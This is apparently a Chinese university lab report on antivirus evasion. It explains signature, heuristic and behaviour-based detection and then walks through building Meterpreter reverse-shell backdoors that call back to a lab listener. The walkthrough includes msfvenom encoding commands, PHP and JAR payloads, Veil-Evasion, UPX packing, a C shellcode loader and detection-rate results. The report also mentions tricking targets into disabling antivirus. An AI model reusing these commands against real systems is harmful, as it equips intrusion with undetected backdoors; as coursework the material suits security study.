实验三——免杀原理与实践
20204319王华涛
目录
1.1 杀软是如何检测出恶意代码的?................................................................. 1
1.1.1基于特征码进行检测............................................................................ 1
1.1.2利用启发式恶意软件检测.................................................................... 2
1.1.3基于行为的恶意软件检测.................................................................... 2
1.3 免杀的基本方法有哪些?............................................................................. 2
1.4开启杀软能绝对防止电脑中恶意代码吗?.................................................. 4
3.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件........ 4
使用编码进入以下目录.................................................................................. 5
3.2.2免杀加壳尝试...................................................................................... 25
3.3使用C + shellcode编程............................................................................ 28
3.4通过组合应用各种技术实现恶意代码免杀................................................ 32
1.1 杀软是如何检测出恶意代码的?
1.1.1基于特征码进行检测
主要是看各类代码的特征,各套杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。这些特征码一般由一个不大于64字节的字符串组成,且是只有该病毒内才出现的字符串,根据已检测出或网络上公布的病毒,对其提取特征码,记录在病毒库中,检测到程序时将程序与特征码比对即可判断是否是恶意代码。
1.1.2利用启发式恶意软件检测
主要是运用对比和比较的方法,将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,有一定误报可能,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
1.1.3基于行为的恶意软件检测
主要是靠追踪监测,对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。
1.2 免杀是做什么?
免杀就是使得恶意软件不被杀毒软件查杀,二者能够共存。免杀就是让安插的后门不被AV软件发现。让我们的后门在目标机器上不被杀毒软件或者其他的防护软件识别并删除。
1.3 免杀的基本方法有哪些?
1.3.1改变特征码
①如果你手里只有EXE
加壳:压缩壳 加密壳
②有shellcode(像Meterpreter)
用encode进行编码
基于payload重新编译生成可执行文件
③有源代码
用其他语言进行重写再编译(veil-evasion)
1.3.2改变行为
①通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据
②操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
③修改内存特征码
④等价替换法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
⑤通用跳转法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行
⑥非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
1.4开启杀软能绝对防止电脑中恶意代码吗?
绝对防止是很难做到的,通过virus扫描类的网站我们已经能够看出,不同的后门不同的杀软是表现不同的,所以不能绝对防止!同时,由于恶意代码也会随着科技进步发展变化,只能说是最大程度地去防止恶意代码,而且不同的杀软有不同的性能,对于恶意代码的防范也有一定的局限性,所以绝对是很难做到的!
免杀测试平台VirusTotal
3.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
主机IP:192.168.43.230(实验过程中更换了一次网络,之后主机IP变为:192.168.218.191)
检测直接生成的后门exe文件(实验二中的后门程序)
检出率为51/69
cd /usr/share/metasploit-framework/modules/encoders/x86
可以选取shikata_ga_nai.rb或者其他
使用Unicode编码
回到桌面重新打开控制界面编码一次
生成代码(需注意文件生成的位置路径)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.128 LPORT=4319 -e x86/shikata_ga_nai -b '\x00' -f exe > 20204319_backdoor.exe
一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
可以直接将文件拖到桌面上
重新进行检测(先点击左上角上传,再点击重新检测)
检测值变为50.没有太大的变化
编码多次(此处采用6来进行编码)
生成代码
参数意思:
-e选择编码器
-b是payload中需要去除的字符:该命令中为了使'\x00'不出现在shellcode 中,因为shellcode以'\x00'为结束符
-i设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.128 LPORT=4319 -e x86/shikata_ga_nai -i 6 -b '\x00' -f exe > 20204319_backdoor.exe
发现并没有太大变化,理论上编码会降低检出率,但这只是理论上的可能性
查看可选取的其它格式文件
cd /usr/share/metasploit-framework/modules/payloads/singles
查看重新打开一个控制界面或回到合适的文件位置
①如若利用php格式文件
生成代码
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.146.128 LPORT=4319 x> 20204319_backdoor.php
再次进行检测
检测效果比之前的好很多,说明有效
②如若利用jar文件
生成代码
msfvenom -p java/shell_reverse_tcp LHOST=192.168.146.128 LPORT=4319 -f jar > 20204319_backdoor.jar
也不是很大,进行检测,结果如下
也比一开始的exe文件检测效果好
3.2 veil,加壳工具实践
3.2.1使用veil
安装工具veil
dpkg --add-architecture i386
apt-get update
apt-get install wine32
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh
替换箭头所指位置
改为https://gitee.com/spears/VeilDependencies.git
修改成功后,输入veil
等待安装
经过等待,弹出
一直点击next执行下去,直至出现
[I] If you have any errors running Veil, run: './Veil.py --setup' and select the nuke the wine folder option
[I] Done!
则表示初始化成功。此时,重新执行veil命令,即可成功启动Veil-Evasion工具
注意:此时遇到2-3error,如图所示无法进入
可以这样进行解决
①先输入
sudo git clone https://github.com/Veil-Framework/Veil --depth=1 /opt/veil
②再输入
echo "/opt/metasploit-framework/bin/" | sudo ./setup.sh -s
②最后输入
cp -R '/var/lib/veil/wine/drive_c/Program Files (x86)/AutoIt3' '/var/lib/veil/wine/drive_c/Program Files/'
popd
最后发现可以进入veil(输入veil即可)
use evasion //进入Evil—Evasion
use c/meterpreter/rev_tcp.py //进入配置界面
set LHOST 192.168.146.128 //设置反弹链接ip,此处为Kali的ip
set LPORT 4319 //设置端口
generate
输入文件名
下方为文件保存路径:
找到该文件并拖到windows桌面上再次进行检测
对此文件进行检测,但检出率还是有点高
对另外的.c文件进行检测
发现检出率为0/59
3.2.2免杀加壳尝试
将刚才生成的文件复制一份到自己的文件夹里
在该文件夹里打开控制界面
upx 202043219_backdoor.exe -o 20204319wanghuatao.exe
加壳是对相应的资源进行压缩,压缩后仍可运行。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
对其进行检测,检出率基本上无变化,可以猜测目前杀软对于加壳的检测能力很强。
3.3使用C + shellcode编程
使用msfvenom得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.128 LPORT=4319 -f c
复制框里的内容到剪切板以便后续使用
编辑c文件
vim 20204319_c.c
粘贴复制的内容并在最后一行添加以下代码:
int main() { int (*func)() = (int(*)())buf; func(); }
编译可执行文件
i686-w64-mingw32-g++ 20204319_c.c -o 20204319_c.exe
对其进行检测,可以看出检出率已经又下降了一些
3.4通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
打开veil,选择Evasion
使用evasion中第28项:用python生成reverse_tcp
python/meterpreter/rev_tcp.py
use python/meterpreter/rev_tcp.py
set LHOST 192.168.146.128
set LPORT 4319
options
生成文件目录如下,会有三个文件生成,需要将他们都拷贝到Windows下
分别对三个文件进行检测
3.5用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
(理论上在windows11或windows10上要成功验证,需按照实验二类似要求关闭防火墙、篡改保护、实时防护等功能,大家可以下载版本低端的杀软进行测试或是在windows7虚拟机上进行测试)
在windows上开启监听(与实验二相似)
ncat -lv 4319 > 20204319wanghuatao.exe
在Kali上传送后门程序传过去
(可以进行下一步操作,与实验2类似)
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.146.128
set LPORT 4319
exploit
但由于我的软件已经识别到了并提示我是否信任该软件,所以我的免杀原则上是失败的。(如果大家是成功的,杀毒软件会没有任何反应)
如若成功则与实验二效果相同,连接成功后可进行屏幕录制、音频录制等功能。
但是在我进行扫描时却发现没有找到20204319wanghuatao.exe文件,说明该文件在具有一定的隐蔽性,但是在运行或是安装时能够被火绒安全中心识别出来。
图中是实验留下的后门程序,但并没有扫描出20204319wanghuatao.exe文件,说明文件还是具有一定的隐蔽性。
这次实验是能让上次实验变得有意义的实验,只有免杀,后门才有使用性,也让我很激动,不过事实总是不尽人意,不得不说这次实验备受打击,从下午一直做到晚上,一直尝试新办法,一直被火绒安全中心查杀。这也给我一些经验,做免杀要从不同方面入手才行,因为我们可以给shellcode加密,可以加壳等等这些都是可以嵌套的,而杀软看上去并不擅长的一层一层剥开我们的壳,所以用不同的壳来包装shellcode也不失为一种好办法。
杀毒与免杀就是矛与盾,是一种博弈关系,是一种此消彼长的竞争关系,只要互联网还存在,杀毒与免杀就是互联网安全永恒的主题;杀毒软件的薄弱在本次实践中可见一斑,所以以后在网络中要“洁身自好”,不该点击的链接别点,来历不明的第三方软件别下,定时更新病毒库、查毒、杀毒。
这一种博弈关系非常微妙,就像本文提到的,本来VirSCAN.org的目的可能是帮助检查是否为病毒文件,但可能被“我们”这样的人恶意利用,用来检测自己的病毒是否免杀;又比如,加壳软件的初衷可能是版权问题,防止他人恶意反汇编、逆向,但这又能被“我们”利用,让“壳”变成病毒的保护壳,正所谓,工具本无好坏,人心才有善恶!